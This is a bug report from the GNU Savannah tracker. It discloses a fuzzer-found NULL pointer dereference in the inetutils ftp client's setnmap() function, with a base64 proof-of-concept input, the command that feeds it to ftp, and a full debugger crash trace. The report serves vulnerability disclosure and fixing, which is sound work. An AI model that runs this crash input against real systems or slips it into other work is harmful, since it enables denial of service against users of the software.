URL: <https://savannah.gnu.org/bugs/?61723>
Summary: NULL Pointer Dereference in setnmap() at cmds.c:2303 Project: GNU Networking Utilities Submitted by: aidai Submitted on: Thu 23 Dec 2021 02:13:08 PM UTC Category: None Severity: 3 - Normal Item Group: None Status: None Privacy: Public Assigned to: None Open/Closed: Open Discussion Lock: Any _______________________________________________________ Details: # NULL Pointer Dereference in setnmap() at cmds.c:2303 ## Description A NULL Pointer Dereference was discovered in setnmap() at cmds.c:2303. The vulnerability causes a segmentation fault and application crash. **version** ``` ./ftp --version ftp (GNU inetutils) 2.2.16-cf091 Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by many authors. ``` **System information** Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz ## Proof of Concept **poc** ``` base64 poc bm1hIBjyAoHzCcvLArnD/sreCvgmMwoKAPUKEBoKEAAKDgAAAIDn5+fn5wAABADn5+foA+f4FJ0r CgoKCgoK538Kubn/gAArCgp/CgoKCgoKQn8K1rn/gAAKCgp/CgoKAN0= ``` **command:** ``` ./ftp < ./poc ``` **Result** ``` ./ftp < ./poc [1] 728662 segmentation fault ./ftp < ./poc ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. 0x000055555555ec9d in setnmap (argc=3, argv=0x55555557e680 <margv>) at cmds.c:2303 2303 *cp = '\0'; LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────── RAX 0x0 RBX 0x5555555702c0 (__libc_csu_init) ◂— endbr64 RCX 0x4 RDX 0x0 RDI 0x555555582aa0 ◂— 0x8102f21820616d6e RSI 0x20 R8 0x555555583620 ◂— 0x8102f21800616d6e /* 'nma' */ R9 0x7ffff7f5a010 (main_arena+1168) —▸ 0x7ffff7f5a000 (main_arena+1152) —▸ 0x7ffff7f59ff0 (main_arena+1136) —▸ 0x7ffff7f59fe0 (main_arena+1120) —▸ 0x7ffff7f59fd0 (main_arena+1104) ◂— ... R10 0x555555580010 ◂— 0x0 R11 0x7ffff7f59be0 (main_arena+96) —▸ 0x5555555851a0 ◂— 0x0 R12 0x555555559f30 (_start) ◂— endbr64 R13 0x7fffffffe210 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffe060 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe120 ◂— 0x0 RSP 0x7fffffffe040 —▸ 0x55555557e680 (margv) —▸ 0x555555583620 ◂— 0x8102f21800616d6e /* 'nma' */ RIP 0x55555555ec9d (setnmap+258) ◂— mov byte ptr [rax], 0 ──────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── ► 0x55555555ec9d <setnmap+258> mov byte ptr [rax], 0 0x55555555eca0 <setnmap+261> mov rax, qword ptr [rip + 0x1ae49] <0x555555579af0> 0x55555555eca7 <setnmap+268> mov rdi, rax 0x55555555ecaa <setnmap+271> call rpl_free <rpl_free> 0x55555555ecaf <setnmap+276> mov rax, qword ptr [rip + 0x1f98a] <0x55555557e640> 0x55555555ecb6 <setnmap+283> mov rdi, rax 0x55555555ecb9 <setnmap+286> call strdup@plt <strdup@plt> 0x55555555ecbe <setnmap+291> mov qword ptr [rip + 0x1ae2b], rax <0x555555579af0> 0x55555555ecc5 <setnmap+298> jmp setnmap+301 <setnmap+301> 0x55555555ecc7 <setnmap+300> nop 0x55555555ecc8 <setnmap+301> add qword ptr [rbp - 8], 1 ──────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────── In file: /root/disk2/fuzzing/inetutils/inetutils/ftp/cmds.c 2298 while (*++cp == ' ') 2299 continue; 2300 altarg = cp; 2301 cp = strchr (altarg, ' '); 2302 } ► 2303 *cp = '\0'; 2304 2305 free (mapin); 2306 mapin = strdup (altarg); 2307 2308 while (*++cp == ' ') ──────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe040 —▸ 0x55555557e680 (margv) —▸ 0x555555583620 ◂— 0x8102f21800616d6e /* 'nma' */ 01:0008│ 0x7fffffffe048 ◂— 0x355583620 02:0010│ 0x7fffffffe050 —▸ 0x5555555796c0 (cmdtab+2464) ◂— 0x0 03:0018│ 0x7fffffffe058 ◂— 0x0 04:0020│ rbp 0x7fffffffe060 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe120 ◂— 0x0 05:0028│ 0x7fffffffe068 —▸ 0x555555566a09 (cmdscanner+633) ◂— mov eax, dword ptr [rip + 0x17bf5] 06:0030│ 0x7fffffffe070 ◂— 0x0 07:0038│ 0x7fffffffe078 ◂— 0x1c54c7100 ────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► f 0 0x55555555ec9d setnmap+258 f 1 0x555555566a09 cmdscanner+633 f 2 0x55555556665a main+929 f 3 0x7ffff7d950b3 __libc_start_main+243 ────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x000055555555ec9d in setnmap (argc=3, argv=0x55555557e680 <margv>) at cmds.c:2303 #1 0x0000555555566a09 in cmdscanner (top=1) at main.c:461 #2 0x000055555556665a in main (argc=0, argv=0x7fffffffe220) at main.c:310 #3 0x00007ffff7d950b3 in __libc_start_main (main=0x5555555662b9 <main>, argc=1, argv=0x7fffffffe218, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe208) at ../csu/libc-start.c:308 #4 0x0000555555559f5e in _start () ``` _______________________________________________________ Reply to this item at: <https://savannah.gnu.org/bugs/?61723> _______________________________________________ Message sent via Savannah https://savannah.gnu.org/